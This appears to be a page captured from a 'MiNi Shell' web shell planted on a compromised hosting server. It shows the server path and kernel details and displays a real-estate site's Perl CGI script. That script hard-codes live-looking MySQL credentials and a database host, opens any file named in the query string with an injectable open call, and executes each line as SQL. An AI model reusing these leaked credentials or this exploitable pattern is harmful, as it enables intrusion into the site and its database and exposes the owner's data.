Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/sb_web/b2432/agentrobin.com/

Linux boscustweb5004.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64

Current File : /hermes/sb_web/b2432/agentrobin.com/run_sql.pl

#!/usr/bin/perl

# Get the environment variables passe to the script


use DBI; 
use CGI qw/:standard :html3 :netscape/;


$db_user     = "agentrobin_01_";
$db_pass     = "J0shKr1s";
$dsn_name    = 'dbi:mysql:dreamhome_01_:dobrooks.ipowermysql.com:3306';
$filename="";

@FormValues = split(/&/, $ENV{QUERY_STRING});
$FV1 = @FormValues;
for ($x=0;$x<=$FV1-1;$x++) {

	@Attributes = split(/=/,$FormValues[$x]);

	if ($Attributes[0] eq "filename") { 
		$filename=$Attributes[1]; $filename =~ tr/+/ /; $filename =~ s/%([1-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
	}
}


printheader();

print "PROCESSING FILE $filename<br>\n";

process_file();

print "<br><hr>DONE WITH IMPORT\n";

printending();

exit(0);


##############################################################################
################### GENERIC PAGE SETUP HEADING AND METADATA ###################
##############################################################################

sub printheader() {



	$description = "AgentRobin Tri-valley Real Estate";



#	print "<!DOCTYPE html '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'>";
	print "Content-type: text/html\n\n";
	print "<HTML xmlns='http://www.w3.org/1999/xhtml'>\n";
	print "<HEAD>\n";
	print "<TITLE>HELLO</title>\n";



        print "</head>\n";
        print "<body>\n";
}

################### GENERIC PAGE SETUP ENDING ###################

sub printending {
	print "</body>\n";
	print "</html>\n";
}

sub process_file() {

	if ($filename eq "") {
		print "NO FILENAME\<br>\n";
	} else {
		open(MLSLIST, $filename) || die("Could not open file!");
		@Lines = <MLSLIST>;
		close MLSLIST;

		$dbh = DBI->connect('dbi:mysql:dreamhome_01_:dobrooks.ipowermysql.com:3306','agentrobin_01_','J0shKr1s') or die("Couldn't connect"); 




		$ncount=@Lines;
		print "Starting the import process on $ncount lines<br>\n";
		print "<hr>";
	

	
		$count=0;

# $ncount-1

		for ($x = 0;$x <= $ncount-1;$x++) {

			$SQL="$Lines[$x]";
			print "$x --  $Lines[$x]<br>\n";
			$sth = $dbh->prepare($SQL);
			$sth->execute;    
			$count++;
		} 

	}
	TEST1:
	$dbh->disconnect;
	print "Records Updated ..... $count<br>";

}

Creat By MiNi SheLL
Email: devilkiller@gmail.com